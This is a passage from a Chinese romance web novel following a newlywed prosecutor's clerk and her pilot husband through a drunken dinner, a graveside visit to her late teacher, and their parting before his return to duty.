唐苒默不作声地嗔一眼。
张姐笑了:“他酒量行吗?”
唐苒想起宋泊峤自己说的,不敢轻信:“我也不知道。”
“正好帮你试试。”张姐挤了挤眼,“我跟你说,酒品见人品,一个男人要喝醉了还知道念着你,那就是真疼你。”
小汪参加女生这边喝豆奶。
若若一边涮肉一边煞有介事地说:“你知道么小汪,男人不能喝豆奶的。”
“……啊?”
小汪地地道道的理科男,平时就被若若这个小精怪一唬一个准。
若若:“喝多了会变成女人。”
小汪刚送进嘴里的吸管被吐出来。
“若若,你就知道逗小汪,欺负人老实。”张姐笑瞪她一眼,给小汪一个安心的眼神,“偶尔喝一次没事儿,不能天天喝啊,这瓶完了我给你拿汽水。”
小汪一脸乖巧:“谢谢嫂子。”
三个男人那边一杯接一杯,酒过三巡,嗓音都高了几个调。
宋泊峤脸色不变,眼底却有了微醺的光芒。
唐苒给他发信息:【少喝点。】
感觉到手机震动,宋泊峤从兜里拿出来,笑了笑,放在桌下回:【放心,我有数。】
唐苒没经历过这种事,不知道男人喝起酒只有越来越兴奋,还真信了他说他有数,安心地吃菜聊天。
后来三个人东倒西歪,称兄道弟,刘检靠在椅背上唱起《滚滚长江东逝水》,被陈检说他老掉牙,转头勾着宋泊峤肩膀:“兄弟,怎么想到去部队的?你这家境,从政不挺好?安安稳稳,前途也不差。”
宋泊峤顿了顿,说:“脑子一热,没什么特别想法,当时和哥们儿说好了一起报空航,他没去,我也后来才知道。”
唐苒剥着开心果,抬头看了他一眼。
莫名想听一些关于他过去的事,然而他没再多说,话题被扯到一边,聊起各自的工资待遇。
这些婚前宋泊峤都对她交代过,唐苒边听边走神,吃多了,人有点犯晕乎。直到张姐戳戳她腰:“真的啊?”
唐苒错愕:“什么?”
张姐看了眼宋泊峤,小声八卦:“人家说工资卡给你,乖乖,可不少呢,一个月抵我们小半年。”
这事儿两人没谈过,唐苒当他喝多了吹牛,没拆他台,也没真当回事,只笑了笑,让张姐自行想象。
明天上班,大家没玩到太晚,后来陈检在家躺着,张姐送大家下楼。
唐苒扶着宋泊峤,被堵在电梯角落,无奈圈住他腰身避免他乱动。第一次清晰感受男人劲瘦的腰,那股熟悉的男性气息混杂着酒气,熏得她昏昏欲醉。
等小汪和若若驮着刘检上出租车,他们叫的代驾也到了。
唐苒从窗户里对张姐挥手,下一秒,半边身子被重物压住。
“何卓是谁?”喝醉
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后的嗓音异常低沉。
唐苒不明白他发什么疯:“同事啊。”
宋泊峤箍紧她身子,比清醒时还要用力:“普通同事?”
想起那人,唐苒朝车顶翻了个白眼:“关系不算好的同事。”
“哦。”宋泊峤消停了几秒钟,又闹起来,这次气息滚烫贴着她耳朵:“还有姓朱的呢?”
唐苒:“什么姓朱的?”
“法院的,朱科长。”
“……”老李头可真行,“我请他帮过忙,工作上的事。”
“追过你?”
唐苒拿他没办法,边告诉自己别和醉鬼一般见识,边实话实说:“那是我请他帮忙之后,以前也是普通同事,我对他没意思,早拒绝了。”
宋泊峤似乎很满意,沉声笑了,连绵的热气晕湿她耳朵,那块早已烫得没感觉。
她好像习惯了他的气息,他的贴近和触碰,不再排斥。
不久后,安静的车里一阵窸窣,唐苒顺着声音看过去,是他胡乱摸着裤兜附近,却找不到地方。
唐苒发现男人喝醉的样子挺可爱,弯起唇:“要拿什么?我帮你拿。”
“钱包。”
唐苒小心翼翼地探过手去,生怕碰到什么不该碰的,拎着钱包一角抽出来,舒了口气:“干嘛?代驾的钱平台会扣。”
她以为他是喝多了脑子不清楚,要拿钱付账。
男人靠在她肩上摇摇头,把一张工行的卡片塞到她手里。
唐苒心口一跳:“这什么?”
“工资。”
“我不要。”
“你嫌弃我?”
唐苒哭笑不得:“没有。”
“那就拿着,随便花。”说话语气带着股大款气质。
前面的代驾小哥憋不住笑,被宋泊峤听见,没好气:“笑什么?我给我老婆发钱。你有老婆吗?”
“咳,没有。”代驾小哥不敢再吱声。
“这张是存款,不多,就一百多万,其余的都是存单,我改天给你拿过来。”宋泊峤手和嘴都闲不下,一边在钱包里掏,一边念念有词,“哦,新房记得装个保险柜。”
“……”喝成这样脑子还挺严谨。
“这张是公务卡,我得留着,这给你,这个,还有这个。”
眼看快到酒店,唐苒深吸了一口气:“宋泊峤。”
男人撩眼看她,被酒精浸透的眸子有点呆:“啊?”
“现在起不许动。”
“哦。”
唐苒从他手里接过钱包,把掏出来的银行卡信用卡现金,和不知道哪个寺庙的护身金牌,甚至购房的定金发票,全部整齐完好地塞回去。
宋泊峤张口想说什么,被她一个严肃的眼神吓住。
“自己留好,我不要。”
越野车压过减速带,轻微的颠簸,他眼神晃动带着点委屈:“你还是嫌弃我……”
“不是。”唐苒对他快要无话可说,压着急性子,认真盯住他眼睛,低下头,尽量温和地哄这个醉鬼:“宋泊峤,你醒了会后悔的。”
“不会。”他眼底水光潋滟,又或许全是酒,把她坚硬的心肠都泡软了。一时间陷入他深邃而迷惑的注视,像被拽入无边无际的沼泽。
后座宽敞,他们窝在前排看不见的角落。宋泊峤视线稍移,带着黏腻的光落在她微抿的唇瓣上。
一寸一厘,缓慢靠近。
眼前是放大后依旧无可挑剔的脸,和快要熏醉她的酒气,后脑勺抵着车窗,唐苒发现无处可逃。
心底默念着这是她老公,没什么,可又怕他酒醒不认账。刚要抬手推开,车又一次轧过减速带。
车窗震动,座位颠簸,四片唇顺势贴到了一起。
9. 第 9 章
唐苒惊惧瞪眼的同时,另一人闭眼压过来。酒气萦绕在碾磨的唇间,凌乱炙热得毫无章法。
原来他一只手就能将她腰身禁锢得不能动弹,以前不过是让着她。
鼻息缠绕的热气蒸腾到眼眶,一阵委屈酸涩,她并不抗拒和他接吻,可这人醉醺醺的算什么事儿?
唐苒硬着心肠推了推,正好车子也停了。
酒店门口明亮的灯光照进来,宋泊峤眼底的薄雾渐渐消散。
脑袋又栽到她肩膀上。
“……臭男人。”唐苒忍不住骂了一句。
酒店服务员帮忙把宋泊峤搀到房间,唐苒见他不吐不闹,就没再管。洗完澡出来,人已经滚到床中央。
唐苒护完肤,爬上床把他往外推,好歹给自己腾点儿地方,这人却重得像块落地生根的石头,睡着了还跟她较劲。
她推到力竭,还是没挪动一分,泄了气,无奈瞄一眼窗前的沙发。
算了。
出来混都是要还的,如今也轮到她睡沙发。
唐苒最后瞪了眼这块大石头,准备去拿件外套当被子,还没下床,一阵蛮力突然圈住她腰,毫无防备地朝后倒去。
温热裹挟,气息交融,低哑暧昧的嗓音仿佛是从胸腔里震出来,头顶却分明落下滚烫湿润的呼吸:“乖,睡觉。”
某些特定时候,他的嗓音就像催眠。
唐苒是听着浴室水流声醒过来的。
窗帘底部渗进一道明亮的光线,被子紧紧裹在她身上,隔着一大片磨砂玻璃,里面淅淅沥沥地响着。
时间还早,她赖了会儿床,等花洒声停止,才依依不舍地爬出被窝。
没多会,浴室门开了,男人裹着一身潮热,随意抹干的短发支棱着,浴袍穿得整整齐齐。
领口只露出三角形的一小截皮肤,锁骨半隐半现,唐苒仓促垂眸的同时,又觉得抓心挠肺,无端想起他那次裸着上半身,无可挑剔的肌肉轮廓。
“想什么呢?”宋泊峤走到她面前,唇角勾得惬意懒散,昨晚的醉意一扫而空,眸子深邃又清澈。
唐苒坐在床边仰着头,目光落在他说话时翕动的唇上,那种霸道却柔软的感觉袭上心头,神思晃荡,嗓音幽幽的,和灰尘一样在晨光浸润的空气里浮动:“你昨晚醉得不轻。”
那双眸直勾勾望着她:“嗯。”
唐苒眨了下眼睛:“还记得你干了什么吗?”
“不记得。”这人语气毫不迟疑。
“……”果然。
本来就没指望他记得,可心里还是忍不住别扭。唐苒不想再理他,起身去洗漱。
刚穿上鞋,被勾住腰背贴近那片潮热。
揶揄的笑声落到头顶:“帮我回忆一下?没准儿能记起来。”
唐苒脑袋一灵光,嗔道:“宋泊峤!”
竟然敢骗她。
男人吐息带着牙膏的薄荷香味,移向额头:“昨晚好像不是这样。”
脸颊都被他呼吸熨烫,再磨蹭下去快要烧起来,唐苒用力一推,跑进洗漱间。
昨晚的事两人心照不宣,一路上唐苒默默喝豆浆,连呼吸都控制得很小声。
宋泊峤成全她的小心思,也没再出言逗她。
到单位楼下,他俯身过来帮她解安全带,按下锁扣,又用手抓住那块铁片。
唐苒依旧被困在座位上,眼底噙着一点惊慌,强自镇定:“干嘛?”
安全带一截截缩回去,随着一声轻响收进插孔时,男人温热的掌心也扣住她肩。
深邃清醒的眸像磁铁般吸着她,越来越近。
终于在他如愿触碰前,唐苒挣脱那股无形的引力,别过头。
宋泊峤嗓音无奈:“躲什么?”
唐苒咬了下唇:“同事在看。”
上班高峰期,门口好几个熟悉面孔八卦地张望。其中还有年逾五十的检察长,出了名的老古董。
唐苒推推他:“领导也在……”
“行。”瞧她惊弓之鸟的样子,宋泊峤暂且放过她,“午饭还是在单位吃?”
“嗯。”唐苒拿好包,火速开门,“我走啦。”
没等他回话,溜得比兔子还快。
楼梯口碰到若若,检察官制服穿得整整齐齐,英姿飒爽。
唐苒迎着对方探索的眼神,没来由心虚:“咳,开庭啊?”
若若与她并排走着:“嗯哼,先开个小庭。”
唐苒警惕地瞥过去:“干嘛?”
若若压低嗓音:“请问被告人,天上飞的地上爬的有啥区别?”
唐苒没明白,若若挤眉弄眼补充一句:“我说……亲嘴儿。”
“……”唐苒嘴角一抽,“江若若,我看你闲得很,今天公诉很简单吗?刘检知道你这么胸有成竹?回头拿你视频学习了?”
“别,我怕社死。”若若加快脚步,小高跟踩得噔噔响,“回办公室啦。”
张姐无奈地在后面笑:“她就服你。”
唐苒:“我又没干嘛。”
“就你这一针见血戳人死穴的功夫,她不怕你才怪。”张姐揽住她肩,“以后你要成了公诉人,保管律师界个个闻风丧胆。”
唐苒笑了笑:“只要是伸张正义,没必要弄得你死我活,谁闻风丧胆说明心里有鬼。”
透过楼背面的大玻璃,远处一片五星红旗在蓝天下肆意飘扬,唐苒驻足几秒,张姐顺着她视线看过去:“高中开完学了。”
“是啊。”唐苒目光有点失焦,像在想什么。
直到张姐拍拍她肩膀,带着人上楼:“好啦,都过去了。”
唐苒钱包的最里层,夹着一张白底证件照。
照片上的女人眉目温柔,发际线略高,披一头黑色柔顺的长发,两边耳朵露出来,耳垂上缀着一对小巧的金蝴蝶。
照片背面,是两行圆珠笔写的娟秀小字:
教师资格证
2001.6.8
唐苒吸了吸鼻子,忍住一阵汹涌的酸胀,把照片藏回去。
去档案室忙碌之前,发了条信息:【宋泊峤,下班我要去个地方。】
宋泊峤:【哪儿?我陪你。】
唐苒:【我自己去就好了。】
【你别光顾着我,去找朋友玩吧。】
宋泊峤:【好。】
*
环境优雅的法式包间里,服务员端上两道精致漂亮的前菜。
“需要倒酒吗先生?”
“谢谢,我自己来。”宋泊峤拿起桌边的醒酒器。
“你说你,兄弟间算那么清楚干嘛?非得你一顿我一顿的?”陈检笑呵呵接过酒杯,“咱不是那讲究人。”
宋泊峤笑着给张姐盛饮料:“也就这些天有空聚聚,等我收假回江城,你想吃都吃不着了。”
“是啊。”张姐连连附和,“到时候人家就周末回来一下子,小两口腻歪的时间都不够,还搭理你?见一面少一面,且珍惜着吧。”
陈检被老婆怼得呛了一声:“就你会说。”
张姐满脸神气:“我有理。”
陈检是院里第一毒舌,上法庭片甲不留的人物,在老婆面前却乖巧收敛。
宋泊峤听唐苒说过,笑着递给张姐一杯橙汁。
“谢了。”张姐抬了抬下巴,抿一口,“妹夫倒的就是甜。”
饭过三巡,宋泊峤看了眼手机,没收到过唐苒的只字片语。
上一条还是他发的:【完事给我打电话。】
男人心事重重地握着酒杯,望向对面两人:“陈哥,张姐,
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有个事儿想问问你们。”
张姐反应快:“小唐的事儿?”
宋泊峤点了下头:“嗯。”
张姐回头和自家老公对了个眼神:“是不是到日子了?”
陈检略一思忖:“我记得是年后。”
张姐恍然大悟:“怪不得,今天早上就看她奇奇怪怪的,下班也走那么积极。”
宋泊峤听出点门道:“今天是什么特殊日子吗?”
张姐:“是她高中班主任的忌日。”
宋泊峤凝神皱了皱眉。
“以前的事儿她不怎么爱讲,我也是从闲聊中拼拼凑凑的。”张姐叹了一声,“高三那年她父母不是离婚了吗,有段时间就跟着姜老师,姜老师对她很好,跟自个儿闺女一样,一直照顾她到高考结束。”
“这姜老师也是命苦,丈夫英年早逝,留下个女儿,前几年女儿嫁错人,被家暴打死了,那人就只判了十二年。她上诉好几次,都是差不多的结果。后来得了抑郁症,从自家窗户跳下来。”
“小唐应该就是为了这事儿,才要进检察院。”陈检抿了口酒,“我刚从省城调回来的时候发现她在偷偷查两年前归档的卷宗,唬了她几句,就招了,求我帮忙抗诉。”
宋泊峤捏着杯柄的指骨泛白:“有结果了吗?”
“去年判的死刑。”陈检笑了笑,“当初负责的检察官和法官也让二部查了个底朝天,现如今牢里待着呢。”
“哎呀,事儿都解决了。”张姐发现气氛低迷,呵呵笑起来,“每年这时候,小唐都要去墓园看看她老师的,正常,你不用太担心。”
宋泊峤淡淡勾了下唇:“嗯。”
*
公墓位置偏远,唐苒下班打车到门口,再走到姜怡和丈夫合葬的墓碑前,天已经暗下来。
正月里夜晚的公墓,长明灯一串串连到山上去,也抵挡不住阴森的气息。
但唐苒向来不怕这些。
跟着陈检打杂跑腿的时候,见着尸体比那两个助理检察员还要淡定。
“老师,那混蛋也死了一年了。”唐苒跪在墓碑前烧着冥币,火光照亮她冷然又哀戚的神色,“可惜有点晚,也不知道他还能不能赶上给您磕头谢罪。”
“应该不会吧,他下地狱的。”
“您不见他也好,清静。”
湿润的眼眶悬着泪珠,又被风卷走,如此往复,直到她眨眼时掉下来。
“老师,我结婚了。”
“目前看来他人不错。”
“以后的事以后再说吧,我们之间差距太大,我觉得……可能不会长久的,就像我爸妈一样。”
“不过您放心,我会尽力。”
傍晚开始变的天色,月亮一直没出来,远处闷雷声在山峦间回荡,看样子要下大雨了。
唐苒穿得不多,等盆里的火彻底熄灭,就赶紧离开了墓园。
大门口,一辆侧影熟悉的越野车闪了闪车灯。
唐苒没理它,转头要去路边打车,驾驶座车门突然被推开。
长腿落地的瞬间,她已经感觉到熟悉。
直到那张幽暗中半明半昧的脸,随着稳健又急促的步伐靠近。
手臂上搭着的风衣被抖开,落在她被冻得僵硬的双肩,带着独属于某人的气息和温度。
“没跟着你。”宋泊峤从她疑问的眼神中读懂什么,漫不经心地笑了下,“今晚雨夹雪,怕你出事儿,我问了张姐和陈哥。”
无人探访的公墓门口,连路过的车都没几辆,好像天地之间只剩他们两个。
鼻头蓦地一酸,她瓮声答:“哦。”
风越来越大,唐苒见他站着不动,想说回去吧。
男人上前一步,揽过她被风衣包裹的身子,将她的脑袋摁进怀中。
10. 第 10 章
原本觉得一个人也可以独自支撑,可当听见他的心跳声震颤耳朵,像一只温柔的手托住她摇摇欲坠的心脏时,她突然发现,原来很需要这个拥抱。
唐苒深吸了一口气,搂住他腰,隔着层薄薄的黑色衬衫,越来越用力,手臂嵌入他紧实的肌肉。
狂风怒号,她却沾不到一丝冷意。
回去半路下起了雨夹雪,一粒粒雪籽砸在车窗上,唐苒盯着前挡玻璃,心跟着雪籽噼里啪啦的声音颤抖惊慌。
宋泊峤开了雾灯和双闪,降慢车速,握住她的手:“别怕。”
唐苒翻过掌心,第一次主动回握他。
男人嘴角勾起满意的弧度。
“我高考考砸了,虽然是意料中的事。”唐苒低下头望着两人交握的手,仿佛心也被牵得很近,“但还是……没脸回来见她。”
“我以为等我攒够勇气,可以坦然面对的时候,还来得及。”
“逝者已矣,活着的人还要往前走。”宋泊峤轻声安慰,“她看到你如今的样子,会高兴的。”
“但愿吧。”雪籽落得缓和了些,敲打车窗的声音变得软绵绵,唐苒眯了下眼,“宋泊峤,我有点困。”
“靠我肩上。”他往这边挪了几寸。
唐苒吸了吸酸胀的鼻子,今晚不止一次在他面前流露出脆弱,也不再矫情:“会不会影响你开车?”
“不会。”
唐苒凑过来,交握的手放在扶手箱上,头搁在他右肩,安心地闭上眼睛。
突如其来的大降温,唐苒要回租屋拿几件厚衣服,顺便去驿站取快递。
车开进小区时,她给孟芝发消息:【你有快递要取吗?】
孟芝:【外面这么冷,你够拼的啊。】
唐苒:【回来拿衣服,顺便。】
孟芝:【你老公也在?】
唐苒:【嗯。】
孟芝:【那敢情好,我买的那袋米到了,正愁拎不动,麻烦你老公帮我带上来,谢谢他。】
唐苒:【没问题。】
【大概二十分钟。】
孟芝:【行。】
【那什么,家里稍微有点儿乱。】
【你知道的,天才一般都内务凌乱。】
唐苒:【……】
驿站人不多,唐苒在车上等,宋泊峤下去取快递。统共七八个扔到后备箱,再把车开进地库,没让她淋到一滴雨。
十公斤一袋的大米,他轻松得就像拎小鸡,还抱了几个箱子。
唐苒跟在后面,想起那身令人脸红的肌肉,果然一点都不是虚的。
进电梯前她用力摇头,甩开那些不合时宜的画面。
手里的箱子不重,唐苒靠着电梯,瞥见快递单上的地址和电话,皱了皱眉。
回到家,孟芝热情地招呼客人,端茶倒水,宋泊峤客气道谢,坐下来欣赏凌乱的内务。
看得出来匆忙收拾过,但效果甚微。
唐苒用手机查明这箱快递的来源,冷着脸扔到楼梯间。
声响太大,宋泊峤错愕抬头:“怎么了?”
回答他的是一扇卧室门,横在她和视线中间。
孟芝压低嗓音道:“经常这样,收到快递直接扔掉的,脸色也差得不行,估计是前男友……”
话刚说完,才发现散播八卦的对象是人家正牌老公,连忙找补:“那个,我瞎说,你别当真啊。”
宋泊峤笑了笑:“没关系。”
孟芝观察他表情,见他是真没介意,捧着杯子继续解释:“一开始我也担心来着,怕她是被盯上了,后来发现那人除了经常往这儿寄快递,也没干过别的。”
“嗯。”宋泊峤目光落在杯里茶水的波纹上,深沉得不露情绪,“谢谢你告诉我这些。”
*
唐苒洗完澡,穿好睡衣从浴室出去,正看见宋泊峤换被套,倚着电视柜问:“怎么不叫服务员来换?”
宋泊峤系着被套尾部的带子:“来了,是个男的。”
唐苒瞄了眼那面隔开浴室的磨砂玻璃,突然明白过来什么。
还挺细心。
她忍不住“噗嗤”一笑:“你不也是个男的。”
被套抖平了铺在床上,宋泊峤转身站到她面前,手放在裤兜里,居高临下,带着点儿痞:“怎么,想赶我出去?”
唐苒有些受不住他这样,耳颊升温,不自觉按住电视柜边缘:“我可没说。”
男人俯身贴近,双手挨着她。
唐苒以为他想要继续早上没得逞的事,紧张得头皮发麻,浑身僵硬。
他却一反常态,保持着不远不近的暧昧距离,只是用拇指摩挲她手背:“苒苒。”
她喉咙干得不行,嗓音也滞涩:“嗯?”
“如果遇到什么麻烦,可以告诉我。”
唐苒错愕抬头,坠进他深不见底的眸。
“我是说,如果你的生活被人骚扰,比如……前男友。”
他没有逼她很快回答,眼神里带着安抚:“那不是你的错,我只是担心你安危。”
唐苒心口一颤,定定地望着:“你不吃醋吗?”
“我有资格吃醋?”他若有似无地勾了下唇,像自嘲。
做人老公做到这地步,有点荒唐。
唐苒本是想逗他,却反被呛了一口,心虚起来,意图缩回的手被他蓦地按紧,男人眼里像含着火,要将她整个吞噬。
唐苒不敢再看他,仓促低头:“放心,你不用吃醋。我最恨出轨的人,跟你结婚了,就绝不会做对不起你的事。以后即便要分开,也是好聚好散,不会伤害你。”
顿了顿,她主动切入正题:“你是想问那箱快递吧?”
随着她每一个字,男人汹涌复杂的眼神归于沉寂:“嗯。”
“那是我生理学上的父亲。”
说完她攥起指尖,挣了挣,宋泊峤很快松开。
他顺手拿过柜子上的衣服:“我去洗澡,你先睡。”
唐苒调暗了灯光,背对浴室侧躺在床上,眼睛困了,脑子却静不下来。
总想起宋泊峤刚才转身去拿衣服那瞬间,像错觉般稍纵即逝的黯然目光。
她闭眼焦虑了很久,直到另一侧床垫塌陷,却没等来熟悉的温度。
他没有靠过来。
房间里开着暖气,温度适宜,唐苒依旧睡不着,数着窗外街道驶过的汽车声音。
第八辆时,她小声开口:“你睡了吗?”
“嗯。”
“嗯是睡了还是没睡?”
“……”
“宋泊峤,我是不是惹你不高兴了?”
“没有。”
“那你今天怎么不抱我?”
身后人轻叹了声:“我怕抱了这次没下次。”
黑暗中,唐苒憋不住嘴角弯起来。翻过身,看了会儿他背影,抬起手戳戳他脑袋。
见这人故意不动,又戳他脖子,肩膀,后背……一直到腰。
本来依她的胆量,万万不敢再往下造次,可也许是夜色太浓,也许只是单纯地贪恋那道体温,她鬼使神差地戳向那片极富弹性,结实紧致的肉。
寂静中一道吸气声,面前的黑影翻身压过来。
近乎狂躁的炙热攫住她,不似昨晚醉酒的昏沉缠绵,力度也不够温柔。宋泊峤含弄她的唇,撬开她牙齿,像兽类撕扯猎物般搅得天翻地覆。
直到她快要窒息,眼角溢出泪,才终于放过她,唇瓣沾走她的泪渍,低哑嗓音埋入她头顶:“这就哭了?”
唐苒用力捶他胸口:“你不按程序,我还没答应你这样。”
“那我答应你乱碰我了?”
“你一个大男人——”
“男人怎么了?”他轻易将她转了个面,搂紧,若有所指地说:“男人更危险。”
那一刻,唐苒清晰感受到什么。
她竭力想忽略,强迫自己闭眼入睡,可过了许久还是不行。
“宋泊峤。”
“嗯?”他应得不耐,气声明显。
唐苒咬住下唇:“你能不能不要贴着我?”
“为什么?”
“……硌。”
“要么
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忍着,要么试试。”长腿压过来,朦胧的语调烫热她头发,“我困了,现在没力气跟你试。”
唐苒索性睁眼,盯住窗帘下渗进的月光发呆。
以为今晚就这么凑合过去了,才又听见他声音:“我这人比较传统。”
唐苒目光一颤,心脏好像被提溜起来。
“既然结婚,就是奔着一生一世去的,没想过半路分开。”
因为某些生理波动,他气息还是不够稳。
唐苒听得耳尖滚烫,心口炙热。
“生活不可能一直新鲜有趣,就像人,总有腻了乏味的时候。但只要看着这个人,就觉得温暖,安心,还愿意和他一起走,不是挺好吗?”
“我不敢保证我是个完美的男人,我不比别人懂浪漫,也不能一直陪着你。但至少,我这辈子都愿意当你唐苒的丈夫,你在哪儿,我的家就在哪儿。”
唐苒鼻子忍不住酸胀,瓮声瓮气地,握住他扣在腰前的手:“对不起,我以后不说了。”
宋泊峤低头吻了一下她额头,放开她,躺回自己的位置。
“睡吧,我待一会儿就好了。”
黑暗里只剩一道略沉的呼吸声。
唐苒曾经觉得吵闹,不习惯身边多一个人。才没多久,已经习惯听着它入眠。
*
那晚闹过小别扭,听完他那番话后,总觉得两人之间有什么东西悄悄地在变。
宋泊峤这次十天假期,几乎都和她在一起。
早上送她到单位,回酒店歇会儿,吃个午饭,就过来等着接她。
同事们都开玩笑,说这人是长在停车场了。
“果然一切都是最好的安排,谭喆那狗男人敢那么对你,瞧瞧,老天爷转头送来个二十四孝。”若若站在台阶上推了推唐苒,“快去吧,得空帮我寻摸寻摸同款男嘉宾。”
张姐上来勾住她肩膀:“若若想谈恋爱了?”
“直接结婚也不是不行。”若若一脸认真,“一步到位,多省事儿。”
唐苒和张姐对视一眼,笑:“不考虑考虑小汪?”
“考虑他干嘛?”
“听话,好管。”
“……傻不愣登的,没兴趣。”
“哟,可我听说你俩过年一起放烟花了?”
宋泊峤降下车窗看过来,唐苒不再参与八卦,心里像装着只振翅扑腾的小鸟似的,跑下台阶。
他没着急开车,递给她一杯热奶茶。
唐苒一边捧着暖手,一边眯眼感受芋泥牛奶的甜度。
“我明天要走了。”驾驶座传来略沉的语气。
唐苒手指一僵,奶茶被捏得一声轻响,打破车厢内原有的气氛。
“周末如果没事儿,我尽量回来陪你。”宋泊峤握住她手,“但说不准。”
不过领了个结婚证,一起待了十天日子,也没像别的夫妻那样恩爱甜蜜,竟然生出不舍的情绪来。
唐苒暗骂自己没出息,假装轻松地开口:“工作重要啦,反正我们都挺忙,尽力就好。”
身边的人笑意很轻,几乎难以分辨:“嗯。”
“不是说这边有朋友?也不见你去找他们聚聚。”唐苒拿着吸管无意识搅着奶茶,脑袋里像窜进一只慌不择路的兔子,没话找话,“其实我这人挺独立的,不怎么需要照顾,我工作的时候,你去找点自己的事儿就好了,不用一直……”
“我自己的事儿就是陪你。”
唐苒心口跟着这话一震。
“苒苒。”他侧头望着两人的手,越攥越紧,“像我这样的人,很多事情都说不准,命也说不准。也许你需要的时候我没法儿在,也许经常会失约,答应你的话不能兑现,也许我想和你一生一世,只是一个美好的愿望。”
唐苒鼻头一酸,想说什么,却被他坚定的眼神打断。
“因为那身衣服,我必须服从国家和部队,但脱下那身,我保证,无条件属于你。”
他抬起她的手,炙热的唇印在她手背,目光灼烈,如一场盛大的焰火:“你是我妻子,没有任何人比你重要。”
11.第 11 章
最后一晚,两人没有太早回酒店,找了家环境浪漫的餐厅吃完饭,去江边公园散步。
气温骤降几天又开始回暖,公园晚上热闹,不少大人领着小孩遛弯,情侣约会,草坪上随处可见追逐玩耍的宠物狗。
广场上,有人带着自家猫做直播,周围聚集不少观众,唐苒也忍不住驻足看热闹。
宋泊峤以为她感兴趣:“要不要养个什么?喜欢猫还是狗?”
“都喜欢。”她仰起头看他,眼睛亮亮的,“都养不来。”
宋泊峤笑了笑,知道她如今身负重任,没时间和精力:“忙完这阵再说。”
“不还要养孩子吗?”唐苒挨着他肩膀慢慢往前走,低头掰着手指头,“我这人本事不大,养一个就手忙脚乱了。”
“那你挑个最简单的。”宋泊峤牵住她手,半开玩笑半认真的语气,“孩子,猫,狗,现在不还流行养仓鼠和貂?要不乌龟也行。”
唐苒撇撇嘴:“那我能不选孩子么?”
“能。”他不假思索。
唐苒怔愣着抬头。
她的话是反问,没想过他会正面回答。
宋泊峤侧眸看过来,目光耿直毫不躲闪,笑得慵懒又明亮:“看什么?”
“看你是不是在撒谎。”唐苒小声嘀咕,“哪有男人愿意不要孩子的。”
“要不要孩子我说了不算。”五指穿进她指缝,牢牢扣紧,漆黑双眸也如沉夜吞噬着她半沦陷的意识,“得你愿意。”
唐苒慌忙低下头,抽离那股无形的引力:“……以后再说。”
男人望着她鹌鹑似的脑袋,像生怕他追问,整个快埋进胸口里去,眼神不动声色地纵容:“嗯。”
直到江边的风开始刺骨,两人才回酒店休息。
宋泊峤洗澡的时候,唐苒提前把行李收拾起来,怕明早忙乱中遗漏。
钱包也检查了一遍,身份证,社保卡,银行卡,确定都在它们该在的地方。
最后她拉开钱包的隐藏格拉链,拿出一张工行金卡,是十六岁生日那年,她闹着要自己的账户,唐明达妥协帮她办的。
里面的资金流水陆陆续续应该有百来万了,这些年唐明达转给她的钱,一分不少全进了慈善机构。
自己拿着嫌恶心,权当替某人积点儿德。
浴室水声停下来时,唐苒也回神,把钱包还原。
一尘不染的穿衣镜映出她忙碌收拾的侧影,裹着浴袍出来的男人看了几秒,将她拽到身边搂着。
他低头想亲她,唐苒害羞地躲了几次,被偷亲到嘴角一次,蜻蜓点水,见好就收。
反正来日方长,他不能不讲程序,把人给先得罪了。
睡前,宋泊峤在床头抱着她,再次翻开了钱包。
唐苒脑袋一激灵:“干嘛?”
男人抽出那张工资卡,握住她手,虔诚而神圣地放到她掌心:“老婆管账,天经地义。”
想着他比自己高了几倍的工资,唐苒觉得烫手:“你相信我吗?”
“为什么不信?”
凸起的卡号在壁灯下反着光,她白皙的手静静躺在他小麦色的掌心,唐苒鼻头一酸:“我们才认识没多久。”
年前偶遇,决定结婚时对彼此只有最基本的了解。等他回单位,打报告,申请批下来就领了证。
从看见对方第一眼到现在,还不足两个月。
这样的信任让她倍感压力。
握着她的手微微收拢,昏暗中,男人的嗓音也飘忽难辨:“也许比你以为的久。”
唐苒怔了怔,只听见墙上开关的脆响,比刚才那句话都要清晰。漆黑笼罩,中断了话题。
在他怀里睡的最后一晚,唐苒梦到一场婚礼。穿洁白婚纱的她缓缓走向花团锦簇的舞台,漫天垂下的水晶灯,不绝于耳的欢呼和祝福。
视野尽头,那个人军装笔挺,却看不清脸。
等她快要走到的时候,所有布景都消失了,那抹蓝色也好像从没存在过。
她迷失在雾气中,看见自己抱着心口嚎啕大哭,像被什么揪着,拧着,喘不过气。
直到白茫茫的远处飘来熟悉的嗓音:“苒苒。”
她浮在半空,四处寻找。
“别怕苒苒,是梦,醒过来就好了。”
“乖,醒过来。”
梦里的白雾被黑夜笼罩,额头盖上温软的触感,轻轻地,像羽毛一样安抚着她。
唐苒缓缓睁眼,视野恢复时,就着壁灯的光看见男人生了圈青茬的下巴,和刚刚离开她额头的唇瓣。
唐苒搂着他腰,舒了口气:“现在几点?”
“五点半,还早。”宋泊峤拍拍她背,像哄小孩一样,“再睡会儿。”
唐苒应了声,头靠在他颈窝闭上眼睛,嗅着他身上令人安心的气息,却再睡不着。
像小时候梦到鬼,在最惊险的时候醒过来,就怕睡着后继续。
说不清为什么,她害怕又在梦里看见他消失。
两个人起床洗漱,出门时才六点。在早餐店买了烧饼和油条,拎着牛奶四处逛逛。
麻麻亮的天色,公园已经有人在练八段锦,唐苒难得和这些上了年纪的大爷大妈对上作息,好奇地回头张望。
宋泊峤看着她后脑勺:“你有空可以练练,增强体质。”
“我奶奶之前也练过太极。”唐苒摇头笑了笑,“没用,该病还不是病了。”
宋泊峤握住她手,轻声:“老年人心衰很正常,年纪到了都会。至于癌症,大多是遗传基因。”
唐苒心口一颤,假装玩笑的表情:“那你还敢跟我结婚?”
“概率又不是百分百,况且不是有我吗。”他毫不在意地勾着唇,望向她,“我赌你健健康康,长命百岁,将来咱俩一块儿寿终正寝,挑个风水宝地……”
“宋泊峤。”唐苒哭笑不得地打断他,“你想的真够远的。”
“不够,下辈子没想好呢。”
唐苒脸热热的,用力挠了一下他手心。
穿过假山丛林,八段锦的配乐声越来越远,前面有舞剑的大妈,也开始出现晨跑的年轻人。
唐苒吃完早餐,把塑料袋扔进垃圾桶,一边用着葡萄味的漱口水,一边看向运动器材区稀
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稀落落的几个人。
一位叔叔在拉双杠,动作挺专业,宋泊峤想到什么,忽然笑了下:“倒是可以教你格斗术。”
唐苒眼一亮:“你还会那个?”
宋泊峤走向另一套双杠:“小瞧我。”
“你是飞行员又不是特种兵,不会也正常。”唐苒揣着手跟过去。
